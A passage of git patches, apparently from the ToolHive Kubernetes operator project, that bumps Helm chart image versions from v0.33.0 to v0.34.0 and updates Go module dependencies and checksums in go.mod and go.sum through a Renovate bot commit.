a/deploy/charts/operator/README.md b/deploy/charts/operator/README.md index 5254972cb7..1c99996229 100644 --- a/deploy/charts/operator/README.md +++ b/deploy/charts/operator/README.md @@ -1,6 +1,6 @@ # ToolHive Operator Helm Chart -![Version: 0.33.0](https://img.shields.io/badge/Version-0.33.0-informational?style=flat-square) +![Version: 0.34.0](https://img.shields.io/badge/Version-0.34.0-informational?style=flat-square) ![Type: application](https://img.shields.io/badge/Type-application-informational?style=flat-square) A Helm chart for deploying the ToolHive Operator into Kubernetes. @@ -46,7 +46,7 @@ The command removes all the Kubernetes components associated with the chart and |-----|------|---------|-------------| | fullnameOverride | string | `"toolhive-operator"` | Provide a fully-qualified name override for resources | | nameOverride | string | `""` | Override the name of the chart | -| operator | object | `{"affinity":{},"autoscaling":{"enabled":false,"maxReplicas":100,"minReplicas":1,"targetCPUUtilizationPercentage":80},"containerSecurityContext":{"allowPrivilegeEscalation":false,"capabilities":{"drop":["ALL"]},"readOnlyRootFilesystem":true,"runAsNonRoot":true,"runAsUser":1000,"seccompProfile":{"type":"RuntimeDefault"}},"defaultImagePullSecrets":[],"defaultRedis":{"addr":"","existingSecret":"","existingSecretKey":""},"env":[],"features":{"experimental":false,"storageVersionMigrator":false},"gc":{"gogc":75,"gomemlimit":"110MiB"},"image":"ghcr.io/stacklok/toolhive/operator:v0.33.0","imagePullPolicy":"IfNotPresent","imagePullSecrets":[],"leaderElectionRole":{"binding":{"name":"toolhive-operator-leader-election-rolebinding"},"name":"toolhive-operator-leader-election-role","rules":[{"apiGroups":[""],"resources":["configmaps"],"verbs":["get","list","watch","create","update","patch","delete"]},{"apiGroups":["coordination.k8s.io"],"resources":["leases"],"verbs":["get","list","watch","create","update","patch","delete"]},{"apiGroups":["events.k8s.io"],"resources":["events"],"verbs":["create","patch"]}]},"livenessProbe":{"httpGet":{"path":"/healthz","port":"health"},"initialDelaySeconds":15,"periodSeconds":20},"nodeSelector":{},"podAnnotations":{},"podLabels":{},"podSecurityContext":{"runAsNonRoot":true},"ports":[{"containerPort":8080,"name":"metrics","protocol":"TCP"},{"containerPort":8081,"name":"health","protocol":"TCP"}],"proxyHost":"0.0.0.0","rbac":{"allowedNamespaces":[],"scope":"cluster"},"readinessProbe":{"httpGet":{"path":"/readyz","port":"health"},"initialDelaySeconds":5,"periodSeconds":10},"replicaCount":1,"resources":{"limits":{"cpu":"500m","memory":"128Mi"},"requests":{"cpu":"10m","memory":"64Mi"}},"serviceAccount":{"annotations":{},"automountServiceAccountToken":true,"create":true,"labels":{},"name":"toolhive-operator"},"tolerations":[],"toolhiveRunnerImage":"ghcr.io/stacklok/toolhive/proxyrunner:v0.33.0","vmcpImage":"ghcr.io/stacklok/toolhive/vmcp:v0.33.0","volumeMounts":[],"volumes":[]}` | All values for the operator deployment and associated resources | +| operator | object | `{"affinity":{},"autoscaling":{"enabled":false,"maxReplicas":100,"minReplicas":1,"targetCPUUtilizationPercentage":80},"containerSecurityContext":{"allowPrivilegeEscalation":false,"capabilities":{"drop":["ALL"]},"readOnlyRootFilesystem":true,"runAsNonRoot":true,"runAsUser":1000,"seccompProfile":{"type":"RuntimeDefault"}},"defaultImagePullSecrets":[],"defaultRedis":{"addr":"","existingSecret":"","existingSecretKey":""},"env":[],"features":{"experimental":false,"storageVersionMigrator":false},"gc":{"gogc":75,"gomemlimit":"110MiB"},"image":"ghcr.io/stacklok/toolhive/operator:v0.34.0","imagePullPolicy":"IfNotPresent","imagePullSecrets":[],"leaderElectionRole":{"binding":{"name":"toolhive-operator-leader-election-rolebinding"},"name":"toolhive-operator-leader-election-role","rules":[{"apiGroups":[""],"resources":["configmaps"],"verbs":["get","list","watch","create","update","patch","delete"]},{"apiGroups":["coordination.k8s.io"],"resources":["leases"],"verbs":["get","list","watch","create","update","patch","delete"]},{"apiGroups":["events.k8s.io"],"resources":["events"],"verbs":["create","patch"]}]},"livenessProbe":{"httpGet":{"path":"/healthz","port":"health"},"initialDelaySeconds":15,"periodSeconds":20},"nodeSelector":{},"podAnnotations":{},"podLabels":{},"podSecurityContext":{"runAsNonRoot":true},"ports":[{"containerPort":8080,"name":"metrics","protocol":"TCP"},{"containerPort":8081,"name":"health","protocol":"TCP"}],"proxyHost":"0.0.0.0","rbac":{"allowedNamespaces":[],"scope":"cluster"},"readinessProbe":{"httpGet":{"path":"/readyz","port":"health"},"initialDelaySeconds":5,"periodSeconds":10},"replicaCount":1,"resources":{"limits":{"cpu":"500m","memory":"128Mi"},"requests":{"cpu":"10m","memory":"64Mi"}},"serviceAccount":{"annotations":{},"automountServiceAccountToken":true,"create":true,"labels":{},"name":"toolhive-operator"},"tolerations":[],"toolhiveRunnerImage":"ghcr.io/stacklok/toolhive/proxyrunner:v0.34.0","vmcpImage":"ghcr.io/stacklok/toolhive/vmcp:v0.34.0","volumeMounts":[],"volumes":[]}` | All values for the operator deployment and associated resources | | operator.affinity | object | `{}` | Affinity settings for the operator pod | | operator.autoscaling | object | `{"enabled":false,"maxReplicas":100,"minReplicas":1,"targetCPUUtilizationPercentage":80}` | Configuration for horizontal pod autoscaling | | operator.autoscaling.enabled | bool | `false` | Enable autoscaling for the operator | @@ -65,7 +65,7 @@ The command removes all the Kubernetes components associated with the chart and | operator.gc | object | `{"gogc":75,"gomemlimit":"110MiB"}` | Go memory limits and garbage collection percentage for the operator container | | operator.gc.gogc | int | `75` | Go garbage collection percentage for the operator container | | operator.gc.gomemlimit | string | `"110MiB"` | Go memory limits for the operator container | -| operator.image | string | `"ghcr.io/stacklok/toolhive/operator:v0.33.0"` | Container image for the operator | +| operator.image | string | `"ghcr.io/stacklok/toolhive/operator:v0.34.0"` | Container image for the operator | | operator.imagePullPolicy | string | `"IfNotPresent"` | Image pull policy for the operator container | | operator.imagePullSecrets | list | `[]` | List of image pull secrets to use | | operator.leaderElectionRole | object | `{"binding":{"name":"toolhive-operator-leader-election-rolebinding"},"name":"toolhive-operator-leader-election-role","rules":[{"apiGroups":[""],"resources":["configmaps"],"verbs":["get","list","watch","create","update","patch","delete"]},{"apiGroups":["coordination.k8s.io"],"resources":["leases"],"verbs":["get","list","watch","create","update","patch","delete"]},{"apiGroups":["events.k8s.io"],"resources":["events"],"verbs":["create","patch"]}]}` | Leader election role configuration | @@ -92,8 +92,8 @@ The command removes all the Kubernetes components associated with the chart and | operator.serviceAccount.labels | object | `{}` | Labels to add to the service account | | operator.serviceAccount.name | string | `"toolhive-operator"` | The name of the service account to use. If not set and create is true, a name is generated. | | operator.tolerations | list | `[]` | Tolerations for the operator pod | -| operator.toolhiveRunnerImage | string | `"ghcr.io/stacklok/toolhive/proxyrunner:v0.33.0"` | Image to use for Toolhive runners | -| operator.vmcpImage | string | `"ghcr.io/stacklok/toolhive/vmcp:v0.33.0"` | Image to use for Virtual MCP Server (vMCP) deployments | +| operator.toolhiveRunnerImage | string | `"ghcr.io/stacklok/toolhive/proxyrunner:v0.34.0"` | Image to use for Toolhive runners | +| operator.vmcpImage | string | `"ghcr.io/stacklok/toolhive/vmcp:v0.34.0"` | Image to use for Virtual MCP Server (vMCP) deployments | | operator.volumeMounts | list | `[]` | Additional volume mounts on the operator container | | operator.volumes | list | `[]` | Additional volumes to mount on the operator pod | | registryAPI | object | `{"image":"ghcr.io/stacklok/thv-registry-api:v1.3.0"}` | All values for the registry API deployment and associated resources | diff --git a/deploy/charts/operator/values.yaml b/deploy/charts/operator/values.yaml index bee91abfb7..c342ef4ba5 100644 --- a/deploy/charts/operator/values.yaml +++ b/deploy/charts/operator/values.yaml @@ -59,15 +59,15 @@ operator: existingSecretKey: "" # -- Container image for the operator - image: ghcr.io/stacklok/toolhive/operator:v0.33.0 + image: ghcr.io/stacklok/toolhive/operator:v0.34.0 # -- Image pull policy for the operator container imagePullPolicy: IfNotPresent # -- Image to use for Toolhive runners - toolhiveRunnerImage: ghcr.io/stacklok/toolhive/proxyrunner:v0.33.0 + toolhiveRunnerImage: ghcr.io/stacklok/toolhive/proxyrunner:v0.34.0 # -- Image to use for Virtual MCP Server (vMCP) deployments - vmcpImage: ghcr.io/stacklok/toolhive/vmcp:v0.33.0 + vmcpImage: ghcr.io/stacklok/toolhive/vmcp:v0.34.0 # -- Host for the proxy deployed by the operator proxyHost: 0.0.0.0 From 9662681329fdf5f09109e989d398fcfbd94be277 Mon Sep 17 00:00:00 2001 From: "renovate[bot]" <29139614+renovate[bot]@users.noreply.github.com> Date: Tue, 7 Jul 2026 13:55:09 +0300 Subject: [PATCH 32/66] Update module github.com/stacklok/toolhive-core to v0.0.27 (#5736) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com> --- go.mod | 66 ++++++++++++------------- go.sum | 148 ++++++++++++++++++++++++++++----------------------------- 2 files changed, 107 insertions(+), 107 deletions(-) diff --git a/go.mod b/go.mod index 82d46d714b..653e6b3c53 100644 --- a/go.mod +++ b/go.mod @@ -8,8 +8,8 @@ require ( github.com/alicebob/miniredis/v2 v2.38.0 github.com/atotto/clipboard v0.1.4 github.com/aws/aws-sdk-go-v2 v1.42.1 - github.com/aws/aws-sdk-go-v2/config v1.32.27 - github.com/aws/aws-sdk-go-v2/service/sts v1.43.5 + github.com/aws/aws-sdk-go-v2/config v1.32.28 + github.com/aws/aws-sdk-go-v2/service/sts v1.44.0 github.com/cedar-policy/cedar-go v1.8.0 github.com/cenkalti/backoff/v5 v5.0.3 github.com/charmbracelet/bubbles v1.0.0 @@ -26,7 +26,7 @@ require ( github.com/go-jose/go-jose/v3 v3.0.5 github.com/go-jose/go-jose/v4 v4.1.4 github.com/gofrs/flock v0.13.0 - github.com/google/cel-go v0.28.1 + github.com/google/cel-go v0.29.1 github.com/google/go-cmp v0.7.0 github.com/google/go-containerregistry v0.21.7 github.com/google/uuid v1.6.0 @@ -48,7 +48,7 @@ require ( github.com/shirou/gopsutil/v4 v4.26.5 github.com/spf13/viper v1.21.0 github.com/stacklok/toolhive-catalog v0.20260706.0 - github.com/stacklok/toolhive-core v0.0.26 + github.com/stacklok/toolhive-core v0.0.27 github.com/stretchr/testify v1.11.1 github.com/swaggo/swag/v2 v2.0.0-rc5 github.com/tailscale/hujson v0.0.0-20260302212456-ecc657c15afd @@ -58,7 +58,7 @@ require ( github.com/zalando/go-keyring v0.2.8 go.opentelemetry.io/otel/exporters/otlp/otlpmetric/otlpmetrichttp v1.43.0 go.opentelemetry.io/otel/exporters/otlp/otlptrace/otlptracehttp v1.43.0 - go.opentelemetry.io/otel/exporters/prometheus v0.65.0 + go.opentelemetry.io/otel/exporters/prometheus v0.66.0 go.opentelemetry.io/otel/sdk v1.44.0 go.opentelemetry.io/otel/sdk/metric v1.44.0 go.uber.org/mock v0.6.0 @@ -102,15 +102,15 @@ require ( github.com/ProtonMail/go-crypto v1.1.6 // indirect github.com/antlr4-go/antlr/v4 v4.13.1 // indirect github.com/asaskevich/govalidator v0.0.0-20230301143203-a9d515a09cc2 // indirect - github.com/aws/aws-sdk-go-v2/credentials v1.19.26 // indirect + github.com/aws/aws-sdk-go-v2/credentials v1.19.27 // indirect github.com/aws/aws-sdk-go-v2/feature/ec2/imds v1.18.30 // indirect github.com/aws/aws-sdk-go-v2/internal/configsources v1.4.30 // indirect github.com/aws/aws-sdk-go-v2/internal/endpoints/v2 v2.7.30 // indirect github.com/aws/aws-sdk-go-v2/service/internal/accept-encoding v1.13.13 // indirect github.com/aws/aws-sdk-go-v2/service/internal/presigned-url v1.13.30 // indirect - github.com/aws/aws-sdk-go-v2/service/signin v1.2.2 // indirect - github.com/aws/aws-sdk-go-v2/service/sso v1.31.5 // indirect - github.com/aws/aws-sdk-go-v2/service/ssooidc v1.36.8 // indirect + github.com/aws/aws-sdk-go-v2/service/signin v1.3.0 // indirect + github.com/aws/aws-sdk-go-v2/service/sso v1.32.0 // indirect + github.com/aws/aws-sdk-go-v2/service/ssooidc v1.37.0 // indirect github.com/aws/smithy-go v1.27.3 // indirect github.com/aymanbagabas/go-osc52/v2 v2.0.1 // indirect github.com/beorn7/perks v1.0.1 // indirect @@ -152,26 +152,26 @@ require ( github.com/go-logr/zapr v1.3.0 // indirect github.com/go-ole/go-ole v1.2.6 // indirect github.com/go-openapi/analysis v0.25.2 // indirect - github.com/go-openapi/errors v0.22.7 // indirect + github.com/go-openapi/errors v0.22.8 // indirect github.com/go-openapi/jsonpointer v0.23.1 // indirect github.com/go-openapi/jsonreference v0.21.6 // indirect - github.com/go-openapi/loads v0.23.3 // indirect - github.com/go-openapi/runtime v0.32.3 // indirect - github.com/go-openapi/spec v0.22.5 // indirect - github.com/go-openapi/strfmt v0.26.3 // indirect - github.com/go-openapi/swag v0.26.0 // indirect - github.com/go-openapi/swag/cmdutils v0.26.0 // indirect - github.com/go-openapi/swag/conv v0.26.0 // indirect - github.com/go-openapi/swag/fileutils v0.26.0 // indirect - github.com/go-openapi/swag/jsonname v0.26.0 // indirect - github.com/go-openapi/swag/jsonutils v0.26.0 // indirect - github.com/go-openapi/swag/loading v0.26.0 // indirect - github.com/go-openapi/swag/mangling v0.26.0 // indirect - github.com/go-openapi/swag/netutils v0.26.0 // indirect - github.com/go-openapi/swag/stringutils v0.26.0 // indirect - github.com/go-openapi/swag/typeutils v0.26.0 // indirect - github.com/go-openapi/swag/yamlutils v0.26.0 // indirect - github.com/go-openapi/validate v0.25.3 // indirect + github.com/go-openapi/loads v0.24.0 // indirect + github.com/go-openapi/runtime v0.32.4 // indirect + github.com/go-openapi/spec v0.22.6 // indirect + github.com/go-openapi/strfmt v0.26.4 // indirect + github.com/go-openapi/swag v0.26.1 // indirect + github.com/go-openapi/swag/cmdutils v0.26.1 // indirect + github.com/go-openapi/swag/conv v0.27.0 // indirect + github.com/go-openapi/swag/fileutils v0.26.1 // indirect + github.com/go-openapi/swag/jsonname v0.26.1 // indirect + github.com/go-openapi/swag/jsonutils v0.26.1 // indirect + github.com/go-openapi/swag/loading v0.26.1 // indirect + github.com/go-openapi/swag/mangling v0.26.1 // indirect + github.com/go-openapi/swag/netutils v0.26.1 // indirect + github.com/go-openapi/swag/stringutils v0.26.1 // indirect + github.com/go-openapi/swag/typeutils v0.27.0 // indirect + github.com/go-openapi/swag/yamlutils v0.26.1 // indirect + github.com/go-openapi/validate v0.26.0 // indirect github.com/go-task/slim-sprig/v3 v3.0.0 // indirect github.com/go-viper/mapstructure/v2 v2.5.0 // indirect github.com/gobuffalo/pop/v6 v6.1.1 // indirect @@ -182,7 +182,7 @@ require ( github.com/google/btree v1.1.3 // indirect github.com/google/certificate-transparency-go v1.3.3 // indirect github.com/google/gnostic-models v0.7.0 // indirect - github.com/google/jsonschema-go v0.4.2 // indirect + github.com/google/jsonschema-go v0.4.3 // indirect github.com/google/pprof v0.0.0-20260402051712-545e8a4df936 // indirect github.com/gorilla/websocket v1.5.4-0.20250319132907-e064f32e3674 // indirect github.com/grpc-ecosystem/grpc-gateway/v2 v2.29.0 // indirect @@ -247,10 +247,10 @@ require ( github.com/sethvargo/go-retry v0.3.0 // indirect github.com/shibumi/go-pathspec v1.3.0 // indirect github.com/sigstore/protobuf-specs v0.5.1 // indirect - github.com/sigstore/rekor v1.5.2 // indirect - github.com/sigstore/rekor-tiles/v2 v2.2.2-0.20260601073857-5d098a2b6443 // indirect + github.com/sigstore/rekor v1.5.3 // indirect + github.com/sigstore/rekor-tiles/v2 v2.3.0 // indirect github.com/sigstore/sigstore v1.10.8 // indirect - github.com/sigstore/sigstore-go v1.2.1 // indirect + github.com/sigstore/sigstore-go v1.2.2 // indirect github.com/sigstore/timestamp-authority/v2 v2.1.2 // indirect github.com/sirupsen/logrus v1.9.4 // indirect github.com/skeema/knownhosts v1.3.1 // indirect @@ -262,7 +262,7 @@ require ( github.com/sv-tools/openapi v0.4.0 // indirect github.com/tetratelabs/wabin v0.0.0-20230304001439-f6f874872834 // indirect github.com/tetratelabs/wazero v1.9.0 // indirect - github.com/theupdateframework/go-tuf/v2 v2.4.2-0.20260407074541-7e8f69f906ef // indirect + github.com/theupdateframework/go-tuf/v2 v2.4.2 // indirect github.com/tidwall/match v1.1.1 // indirect github.com/tidwall/pretty v1.2.1 // indirect github.com/tklauser/go-sysconf v0.3.16 // indirect @@ -298,7 +298,7 @@ require ( gomodules.xyz/jsonpatch/v2 v2.4.0 // indirect google.golang.org/genproto/googleapis/api v0.0.0-20260526163538-3dc84a4a5aaa // indirect google.golang.org/genproto/googleapis/rpc v0.0.0-20260523011958-0a33c5d7ca68 // indirect - google.golang.org/grpc v1.81.1 // indirect + google.golang.org/grpc v1.82.0 // indirect google.golang.org/protobuf v1.36.11 // indirect gopkg.in/evanphx/json-patch.v4 v4.13.0 // indirect gopkg.in/inf.v0 v0.9.1 // indirect diff --git a/go.sum b/go.sum index 2af1a31543..ea5c021656 100644 --- a/go.sum +++ b/go.sum @@ -67,10 +67,10 @@ github.com/atotto/clipboard v0.1.4 h1:EH0zSVneZPSuFR11BlR9YppQTVDbh5+16AmcJi4g1z github.com/atotto/clipboard v0.1.4/go.mod h1:ZY9tmq7sm5xIbd9bOK4onWV4S6X0u6GY7Vn0Yu86PYI= github.com/aws/aws-sdk-go-v2 v1.42.1 h1:9eOTgu1z/dVtYpNZ3/8/XbbaX0x/BqE3HUzAzs6K0ek= github.com/aws/aws-sdk-go-v2 v1.42.1/go.mod h1:5pKeft2eJj+gElQ38Jqg4ibCqh+/AK33/0X3hip7IjM= -github.com/aws/aws-sdk-go-v2/config v1.32.27 h1:SJwJ9Q4kM7v5QVSYYyXj3znRr6lNyZEhSgAXmXXcVbI= -github.com/aws/aws-sdk-go-v2/config v1.32.27/go.mod h1:uBfrzTRedDmB2u+b6+UlaKJy2O6VSH5un2jP24t/KvQ= -github.com/aws/aws-sdk-go-v2/credentials v1.19.26 h1:Si8kk1kyJnuJWCEgiwpBtTdtgSdR7i611596NnC0YIQ= -github.com/aws/aws-sdk-go-v2/credentials v1.19.26/go.mod h1:lBckz+W9SAdNtSDw3pYgQUJDJFcBBWry0GSzw+bK0TY= +github.com/aws/aws-sdk-go-v2/config v1.32.28 h1:qY6afygxK5c2PPU3Sz8W6yB5W44RF1vnmPdBwViDN+Y= +github.com/aws/aws-sdk-go-v2/config v1.32.28/go.mod h1:WeS/wN1IDs8YC+BxTrFz9ZyJ1rufRBQfirOcDusEpmQ= +github.com/aws/aws-sdk-go-v2/credentials v1.19.27 h1:cFksKkdaBGGmpe6XJpvrxFNWkbXY5/gwFqZNB2O9WCM= +github.com/aws/aws-sdk-go-v2/credentials v1.19.27/go.mod h1:20CoObBgNhFfl8/ggDQu2IZmItxDhkLcWSy4C3alDPI= github.com/aws/aws-sdk-go-v2/feature/ec2/imds v1.18.30 h1:/hi1JADLEW9YYryEz1w4GQu0EtP23pP553Cf9KgsDV4= github.com/aws/aws-sdk-go-v2/feature/ec2/imds v1.18.30/go.mod h1:/3AOgy4K17Dm4ucMZVC/MJkzy5kmfKUcINRHZyo0koQ= github.com/aws/aws-sdk-go-v2/internal/configsources v1.4.30 h1:xM/Is9cKMHa8Jj8zkvWhvrFkZsXJV9E+BB4g0HW0duQ= @@ -85,14 +85,14 @@ github.com/aws/aws-sdk-go-v2/service/internal/presigned-url v1.13.30 h1:/Z5jmNrK github.com/aws/aws-sdk-go-v2/service/internal/presigned-url v1.13.30/go.mod h1:lEzEZnOosE7zi8Z6royW1cFJTD9fpab4Ul1SBrllewk= github.com/aws/aws-sdk-go-v2/service/kms v1.52.0 h1:QNtg+Mtj1zmepk568+UKBD5DFfqh+ESTUUqQT27JkQc= github.com/aws/aws-sdk-go-v2/service/kms v1.52.0/go.mod h1:Y0+uxvxz6ib4KktRdK0V4X45Vcs/JyYoz8H71pO8xeI= -github.com/aws/aws-sdk-go-v2/service/signin v1.2.2 h1:69JEZSDTQ+UNbTWQJCZMmbpQb5sfc79KUt0O7Pyfjmo= -github.com/aws/aws-sdk-go-v2/service/signin v1.2.2/go.mod h1:mxC0nT/C8wMMS97DemZPzvUZxvIt+2Iq+eS3JdFZGgg= -github.com/aws/aws-sdk-go-v2/service/sso v1.31.5 h1:xlK3Tdc8FO7Tq1k0+hL+otF33glj+dE+qeM5iINiDvU= -github.com/aws/aws-sdk-go-v2/service/sso v1.31.5/go.mod h1:u8af9Nqkmqnr96f7v9nHqzZT9XBwbXEkTiqT4ROuJSE= -github.com/aws/aws-sdk-go-v2/service/ssooidc v1.36.8 h1:yX1IbiBfC7SdEgDwIGnRaZyPPDRbQPDOJxl8102PcGk= -github.com/aws/aws-sdk-go-v2/service/ssooidc v1.36.8/go.mod h1:DMPWJBjYs6+3+f/qhBFEFPPlQ6NlhWjai3dJNvipJ84= -github.com/aws/aws-sdk-go-v2/service/sts v1.43.5 h1:T3ANO8QWDbzQD8f4+UaX+fvJlyGnOFMKLbW+NGBHg04= -github.com/aws/aws-sdk-go-v2/service/sts v1.43.5/go.mod h1:9gdl4RrflIdpDb2TlXshWgR1F9TeCkvqDx77Vpr4Z/Q= +github.com/aws/aws-sdk-go-v2/service/signin v1.3.0 h1:i0+tbB9QBnzL5NrF2WR/zk8q2s+1N+RaDYr2627E8UI= +github.com/aws/aws-sdk-go-v2/service/signin v1.3.0/go.mod h1:mxC0nT/C8wMMS97DemZPzvUZxvIt+2Iq+eS3JdFZGgg= +github.com/aws/aws-sdk-go-v2/service/sso v1.32.0 h1:qjMmry/cBDee1E/2gyvel0uRYCi3mwRZ2hf6N+GAodo= +github.com/aws/aws-sdk-go-v2/service/sso v1.32.0/go.mod h1:u8af9Nqkmqnr96f7v9nHqzZT9XBwbXEkTiqT4ROuJSE= +github.com/aws/aws-sdk-go-v2/service/ssooidc v1.37.0 h1:fpOlDPI55HdszaxapEGk6HsGosOUaM2YPWJpjMgp8UI= +github.com/aws/aws-sdk-go-v2/service/ssooidc v1.37.0/go.mod h1:DMPWJBjYs6+3+f/qhBFEFPPlQ6NlhWjai3dJNvipJ84= +github.com/aws/aws-sdk-go-v2/service/sts v1.44.0 h1:bLZ0PolJ8J+HkJHztcXORUpHXBye2U8298lCEMi6ZCU= +github.com/aws/aws-sdk-go-v2/service/sts v1.44.0/go.mod h1:9gdl4RrflIdpDb2TlXshWgR1F9TeCkvqDx77Vpr4Z/Q= github.com/aws/smithy-go v1.27.3 h1:F3Zb497UhhskkfpJmfkXswyo+t0sh9OTBnIHjogWbVY= github.com/aws/smithy-go v1.27.3/go.mod h1:YE2RhdIuDbA5E5bTdciG9KrW3+TiEONeUWCqxX9i1Fc= github.com/aymanbagabas/go-osc52/v2 v2.0.1 h1:HwpRHbFMcZLEVr42D4p7XBqjyuxQH5SMiErDT4WkJ2k= @@ -266,54 +266,54 @@ github.com/go-ole/go-ole v1.2.6 h1:/Fpf6oFPoeFik9ty7siob0G6Ke8QvQEuVcuChpwXzpY= github.com/go-ole/go-ole v1.2.6/go.mod h1:pprOEPIfldk/42T2oK7lQ4v4JSDwmV0As9GaiUsvbm0= github.com/go-openapi/analysis v0.25.2 h1:I0vy4n3alz+DHTiN1PRhCb7QZxkK6g5YmswZKv2TKuw= github.com/go-openapi/analysis v0.25.2/go.mod h1:Uhs1t/2XR10EnwONYILGEzw8gcfGIG5Xk5K2AxnhqDo= -github.com/go-openapi/errors v0.22.7 h1:JLFBGC0Apwdzw3484MmBqspjPbwa2SHvpDm0u5aGhUA= -github.com/go-openapi/errors v0.22.7/go.mod h1://QW6SD9OsWtH6gHllUCddOXDL0tk0ZGNYHwsw4sW3w= +github.com/go-openapi/errors v0.22.8 h1:oP7sW7TWc3wFFjrzzj0nI83H2qMBkNjNfSd+XRejk/I= +github.com/go-openapi/errors v0.22.8/go.mod h1:BuUoHcYrU6E7V9gfj1I5wLQqgtIHnup/alXZ8KdgQ0w= github.com/go-openapi/jsonpointer v0.23.1 h1:1HBACs7XIwR2RcmItfdSFlALhGbe6S92p0ry4d1GWg4= github.com/go-openapi/jsonpointer v0.23.1/go.mod h1:iWRmZTrGn7XwYhtPt/fvdSFj1OfNBngqRT2UG3BxSqY= github.com/go-openapi/jsonreference v0.21.6 h1:NZ5nGfnaM1n4I43Xjm1e5/M2GjOwQwndQz22uhxwD+Y= github.com/go-openapi/jsonreference v0.21.6/go.mod h1:xzbgtQ3ZbWxvET3AxdzCJlJt6vkovbf+IfSPJjD0tUY= -github.com/go-openapi/loads v0.23.3 h1:g5Xap1JfwKkUnZdn+S0L3SzBDpcTIYzZ5Qaag0YDkKQ= -github.com/go-openapi/loads v0.23.3/go.mod h1:NOH07zLajXo8y55hom0omlHWDVVvCwBM/S+csCK8LqA= -github.com/go-openapi/runtime v0.32.3 h1:J7Ycy5DJmhhP1By3NifhRUjnkXTrk21qbeqSULjwX8U= -github.com/go-openapi/runtime v0.32.3/go.mod h1:/WTQi0fa5DiGnnCXQKsTkSm15OzJp8Uz3H2t+67TBr4= +github.com/go-openapi/loads v0.24.0 h1:4LLorXRPTzIN9V6ngMUZbAscsBOUBk3Oa8cClu/bFrQ= +github.com/go-openapi/loads v0.24.0/go.mod h1:xQMgX+hw5xRAhGrcDXxeMw78IFqUpIzhleu3HqPhyF4= +github.com/go-openapi/runtime v0.32.4 h1:8ElGj/3goG0itt0nBPP6Cm57ehcYyuHoI3O20nxgvkw= +github.com/go-openapi/runtime v0.32.4/go.mod h1:Bz6keOZw1NX4T6f+m42OoT1MBPDt6Re13dbccHyGH/4= github.com/go-openapi/runtime/server-middleware v0.30.0 h1:8rPoJ/xv7JL8BsovaqboKETlpWBArVh8n+0L/GyePog= github.com/go-openapi/runtime/server-middleware v0.30.0/go.mod h1:OYNT/TxNvB/VK5oe4htM2jDTwlEXuejVJmu0DVZfAMs= -github.com/go-openapi/spec v0.22.5 h1:KhO7RBlKQfonUWX2WzQCoLIXVA6AcNqDGZ3a1Dutdlo= -github.com/go-openapi/spec v0.22.5/go.mod h1:vxpOtMya5TXtENXKE5bKqv5NjocVhyhxHrlZfvKnZ74= -github.com/go-openapi/strfmt v0.26.3 h1:rzmslHarJgBbf2qfGge+X3htclQfmXqBZMm0Too0HhU= -github.com/go-openapi/strfmt v0.26.3/go.mod h1:a5nsUw0oRpQzZeOwx8bi6cKbzFZslpbCKt1LEot+KnQ= -github.com/go-openapi/swag v0.26.0 h1:GVDXCmfvhfu1BxiHo8/FA+BbKmhecHnG3varjON5/RI= -github.com/go-openapi/swag v0.26.0/go.mod h1:82g3193sZJRbocs7bNCqGfIgq8pkuwVwCfhKIRlEQF0= -github.com/go-openapi/swag/cmdutils v0.26.0 h1:iowihOcvq7y4egO8cOq0dmfohz6wfeQ63U1EnuhO2TU= -github.com/go-openapi/swag/cmdutils v0.26.0/go.mod h1:Sm1MVFMkF6guJJ+pQqHnQA3N0j9qALV3NxzDSv6bETM= -github.com/go-openapi/swag/conv v0.26.0 h1:5yGGsPYI1ZCva93U0AoKi/iZrNhaJEjr324YVsiD89I= -github.com/go-openapi/swag/conv v0.26.0/go.mod h1:tpAmIL7X58VPnHHiSO4uE3jBeRamGsFsfdDeDtb5ECE= -github.com/go-openapi/swag/fileutils v0.26.0 h1:WJoPRvsA7QRiiWluowkLJa9jaYR7FCuxmDvnCgaRRxU= -github.com/go-openapi/swag/fileutils v0.26.0/go.mod h1:0WDJ7lp67eNjPMO50wAWYlKvhOb6CQ37rzR7wrgI8Tc= -github.com/go-openapi/swag/jsonname v0.26.0 h1:gV1NFX9M8avo0YSpmWogqfQISigCmpaiNci8cGECU5w= -github.com/go-openapi/swag/jsonname v0.26.0/go.mod h1:urBBR8bZNoDYGr653ynhIx+gTeIz0ARZxHkAPktJK2M= -github.com/go-openapi/swag/jsonutils v0.26.0 h1:FawFML2iAXsPqmERscuMPIHmFsoP1tOqWkxBaKNMsnA= -github.com/go-openapi/swag/jsonutils v0.26.0/go.mod h1:2VmA0CJlyFqgawOaPI9psnjFDqzyivIqLYN34t9p91E= -github.com/go-openapi/swag/jsonutils/fixtures_test v0.26.0 h1:apqeINu/ICHouqiRZbyFvuDge5jCmmLTqGQ9V95EaOM= -github.com/go-openapi/swag/jsonutils/fixtures_test v0.26.0/go.mod h1:AyM6QT8uz5IdKxk5akv0y6u4QvcL9GWERt0Jx/F/R8Y= -github.com/go-openapi/swag/loading v0.26.0 h1:Apg6zaKhCJurpJer0DCxq99qwmhFddBhaMX7kilDcko= -github.com/go-openapi/swag/loading v0.26.0/go.mod h1:dBxQ/6V2uBaAQdevN18VELE6xSpJWZxLX4txe12JwDg= -github.com/go-openapi/swag/mangling v0.26.0 h1:Du2YC4YLA/Y5m/YKQd7AnY5qq0wRKSFZTTt8ktFaXcQ= -github.com/go-openapi/swag/mangling v0.26.0/go.mod h1:jifS7W9vbg+pw63bT+GI53otluMQL3CeemuyCHKwVx0= -github.com/go-openapi/swag/netutils v0.26.0 h1:CmZp+ZT7HrmFwrC3GdGsXBq2+42T1bjKBapcqVpIs3c= -github.com/go-openapi/swag/netutils v0.26.0/go.mod h1:5iK+Ok3ZohWWex1C50BFTPexi03UaPwjW4Oj8kgrpwo= -github.com/go-openapi/swag/stringutils v0.26.0 h1:qZQngLxs5s7SLijc3N2ZO+fUq2o8LjuWAASSrJuh+xg= -github.com/go-openapi/swag/stringutils v0.26.0/go.mod h1:sWn5uY+QIIspwPhvgnqJsH8xqFT2ZbYcvbcFanRyhFE= -github.com/go-openapi/swag/typeutils v0.26.0 h1:2kdEwdiNWy+JJdOvu5MA2IIg2SylWAFuuyQIKYybfq4= -github.com/go-openapi/swag/typeutils v0.26.0/go.mod h1:oovDuIUvTrEHVMqWilQzKzV4YlSKgyZmFh7AlfABNVE= -github.com/go-openapi/swag/yamlutils v0.26.0 h1:H7O8l/8NJJQ/oiReEN+oMpnGMyt8G0hl460nRZxhLMQ= -github.com/go-openapi/swag/yamlutils v0.26.0/go.mod 